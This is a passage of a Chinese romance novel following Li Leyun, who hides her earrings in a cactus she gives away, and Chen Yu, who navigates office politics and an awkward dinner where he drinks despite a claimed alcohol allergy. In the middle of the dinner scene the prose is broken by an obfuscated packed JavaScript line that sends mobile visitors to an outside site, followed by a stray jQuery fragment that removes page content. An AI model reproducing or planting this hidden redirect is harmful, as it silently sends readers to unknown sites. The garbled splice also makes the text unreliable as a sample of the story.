家政人员很健谈,问租金聊工作聊养生,还问陈彧是李乐韵是什么人。
李乐韵说:“同学。”当年她拼了半条命考上青阳中学时,陈彧已是高考生。
“对了,他付了您多少钱?”
对方答:“这个面积开户保洁的话要150块一小时。”
“那您大概要做多久?”
“加上擦玻璃,两个多小时差不多。”
算起来陈彧也没亏多少,虽然他一定不会收那三百块。李乐韵不在意,洗了个手,开始整理那三箱衣服。
“你们小姑娘的衣服都有好多哦。”
李乐韵无奈地笑一下,每到换季就想买新的,她也头疼。
她一个月到手一万三千块,一年的项目奖金和年终奖加起来四到五万左右,除去房租水电和吃喝,其他钱都花在买买买上。
买了新外套,就得挑适配的裤子和鞋子,这个月面霜要是快空瓶,那下个月肯定就得补精华。
她还喜欢看演唱会看展看话剧,和好友们的聚会也很花钱。
李乐韵想起平步青云的陈彧,陷入一些莫名其妙的瞎想。就算她混到他这个程度,八成也是存不住钱的。
她只是想把自己照顾的更好一点,再好一点。
.
陈彧去给领导谷康仁还车。谷康仁正在一个私人饭局上,邀请陈彧一起入席。
当初谷康仁在湛江项目部担任副总经理,有阵子秘书回家休陪产假,推荐了一个应届生给他写材料,他听说是个工程师,心想这不是胡闹嘛,项目再不受重视,文职人员也不该缺。
可谁说理工科出不了秀才,年纪轻轻的陈彧愣是写出一手漂亮的公文。
后来项目部重组,他把陈彧调到他的办公室,依然让他画图纸,但秘书顶不上的时候,就会分派他动动笔。再后来,看他形象好,让他主持视频会议,又推荐他去分公司主持活动。
他自己也上进,三年内考到了注册工程师和一建,资质实在是漂亮。
那年调令下来,谷康仁要去贵州的新项目做一把手,需要带两个人走。除了秘书,另一个人他毫不犹豫地选择了陈彧。
陈彧愿意吃苦,放弃了进城的机会,二话不说跟着伯乐进了山区。
从基层工程师升成部门副部长,说快不快,说慢也不慢。每当有人议论,认真看看他的履历,就发现无可指摘。
今晚在座的都是长辈,陈彧被领导一番叙情后架上来,以茶代酒挨个打招呼,以示谦卑。
有人问起:“小陈有对象了吗?”
谷康仁替他摆摆手,“光棍一个。”
“以前在基层不好找,如今进城了,大上海还愁找不到好姑娘啊。再说小伙子一表人才,又这么帅,到哪儿都是香饽饽。”说话的这位起身要了陈彧的微信,一副要给他牵线搭桥的意思。
提到成家,谷康仁开起玩笑来,说他们这行不容易,常年在外,难得回家,妻儿满是怨言。
“好不容易调回来,那天周五,我提前下班回家想陪陪夫人,结果家里一个人也没有。我老婆说她去美容院了,我问那我怎么办,她回我,说冰箱里有中午的剩菜。”
大家哈哈笑起来,谷康仁又同陈彧说:“要找,也要找个能体谅你工作性质的。”
宴席散了,谷康仁的司机开另一辆车来接他。谷康仁给陈彧行方便,让他把路虎开回单位停车场。
“你觉得徐松阳这个人怎么样?”领导忽然拍了下陈彧的肩膀。
“接触还不多。”陈彧如实说。
“行,早些回去吧。”谷康仁走远几步,又折回来,“对了,让你父亲别再给我寄东西,我是粗人一个,再好的茶我也喝不出滋味。”
“他又打扰您了?”
“谈不上。他还是挺看重你这个儿子的。”
回到车上,陈彧给老陈打去电话,对方没接。稍晚老陈回复他,说和朋友在泰国度假,等他回国再叙。
车停在红灯前,陈彧侧头,副驾上的礼品袋花里胡哨,里面塞着一颗开了花的仙人球、十来片补水面膜、一盒生巧,是临走时李乐韵随手装给他的。
他不懂李乐韵是在打发帮工还是想送他点生日小礼物。她向来想一出是一出。
周一赵青青进陈彧办公室送会议回执,在他窗台上看见这颗仙人球,问是哪个殷勤的同事送的。
陈彧不应声,把赵青青写的调度报告退回去,要她过了主办再拿给他审批,又提点她多跟顾昀学习。
“哦。”被批评,赵青青的脸上有点挂不住。
陈彧搁了签字的钢笔,“晚上五点半帮忙在餐厅订个包间,我们跟人力资源的同事一起聚个餐。”
“好。”
人走了,陈彧在内部软件上审批流程,微信图标跳动,他点开,李乐韵发来一句话:能不能把仙人球还给我?
他顿时眉头紧锁,回了一个问号过去。莫非她藏东西在里面了?
.
李乐韵认床,住新家,连续两个晚上严重失眠。周一浑浑噩噩地进办公室,总助过来通知他们去开会,柳薇找她要会上的发言稿,她两眼一黑,稿子还在她家里的电脑上。
“同传呢?”
她写的时候宽带还没弄好,没放在能同传的软件里。但她淡定地比了个“OK”,“给我一刻钟的时间。”
框架已经烂熟于心,她边看最近的业务资料边往里面填具体内容,最终用了18分钟,补上了遗忘在家的稿件。
柳薇粗读一遍,一口气喝掉杯子里剩下的冰美式,“搬个家怎么跟脱层皮似的。”说完从抽屉里拿出一对耳夹式耳钉,要送给她当乔迁礼物。
正是因为柳薇送的这个礼物,让李乐韵骤然想起一件事。她从小到大没打过耳洞,到现在都戴耳夹式的耳环,而她人生中的第一对耳环,如今正埋在她随手送给陈彧的仙人球里。
会上柳薇流畅发言时,李乐韵收到陈彧的回复,一个冰冷的问号。
她回:我送你盆新的。你闪送给我,费用我出。
.
聚餐时徐松阳下面的主管存心想试陈彧的酒量。陈彧是滴酒不沾的人,几番推脱下来,显得十分不给人事部同事面子。
顾昀能喝两杯,代表陈彧给徐松阳和主管敬酒,赵青青也努力引开话题,试图调和尴尬氛围。徐松阳觉得有意思,原来小年轻们愿意为这样的领导冲锋陷阵。
陈彧穿白色的T恤和烟灰色的开衫,淡定地靠在椅背上,任凭谁开玩笑都只是柔和地拉开一下唇角。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510012|186151||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
饭局是他组的不假,听上去他应该放低姿态,可人事部拖延他们的部门招聘在前,这理应是人事部的鸿门宴。
徐松阳一口一个优中择优,下头的主管刷掉上百份简历,送到陈彧手上的不是资历不够的就是笔试低分的。
招聘高分的好苗子分了两个去经营部,三个去市场中心,还有一个专业对口的应届生,宁可分到综合办公室,也不放人到他们生产部。
再看三个月前进来的赵青青,资质虽好,但走的是总公司的关系,是个实打实的关系户。
陈彧还在试探,这究竟是徐松阳的刁难,还是背后另有人使绊子。谷康仁在基层奋斗二十年,不喜斗也不擅斗,初到这龙潭虎穴的管理单位,不少人是看热闹的心态。
他身为谷康仁的嫡系,就像一面透明的屏障,不管前方是风是雨,他都得在前抵挡。
一车轱辘的题外话说完,徐松阳亲自端起酒杯走到陈彧面前,眼看着这酒到了必须要喝的时候,陈彧起身,端起酒瓶斟满一杯,“实不相瞒,我是中度酒精过敏。徐经理,往后请多多指教,我干了,您随意。”
酒精滑进口腔,这是陈彧往后退的第一步。赵青青和顾昀对视一眼,一个不解,另一个微微错愕。
徐松阳的手掌在陈彧的肩膀上轻轻拍过,落座后没多久,留意到他暗暗卷起袖口抓挠小臂。
散场时,陈彧的脖子起了一小片微红。
.
整个部门要搬去静安区总部。李乐韵一下午都沉浸在喜悦中,对多出来的二十分钟通勤时间也感到无所谓。
“到了那边只会比现在更忙。”柳薇提醒李乐韵。
“忙点好,我肯定好好表现。”
“那要是遇到不好对付的人呢?”
“薇姐,我们互相保护。”
柳薇觉得李乐韵在某些方面简单的可爱。她能吃加班的苦,要沾体面的光,被客户刁难可以一笑了之,但买不起当季新款会撇半天的嘴。
存钱对她来说是不重要的,能否在上海买房也不重要。最重要的是眼下的时光要实现每一个小小的虚荣心,要用工作之余所有的精力来滋养自己。比如穿上时髦的大衣搬进更漂亮的办公大楼,做一个理想中的精致lady。
三线城市有父母托底的独生女,娇贵但不娇气。她就像她的名字一样,快乐有韵味。
陈彧一直没回那条消息,李乐韵发去一个表情包提醒他。
顾昀给陈彧取来抗敏药,提醒他手机有消息,又小声问他:“领导,你真的过敏吗?”他认识酒精过敏的人,似乎不是这个症状。
“你觉得呢。”陈彧不喝酒有别的原因,他觉得跟过敏性质也差不多。
他把药盒放进办公室的抽屉里,问顾昀有没有淘汰的笔。
顾昀去外间办公室拿来一根,陈彧接过笔,走到窗台前,开始拨弄那盆仙人球里的土。
“喝醉了?”顾昀不理解他的行为。
陈彧没吱声,拨弄了半天,戳到一个硬物,取出来一看,一对红宝石耳环装在一个密封袋里。这么多年过去,她的烂招数也没升级。
他扯了下唇角,把耳环取出来塞进裤子口袋里,密封袋里装了点别的东西,重新放进土壤里,回复李乐韵:明天寄。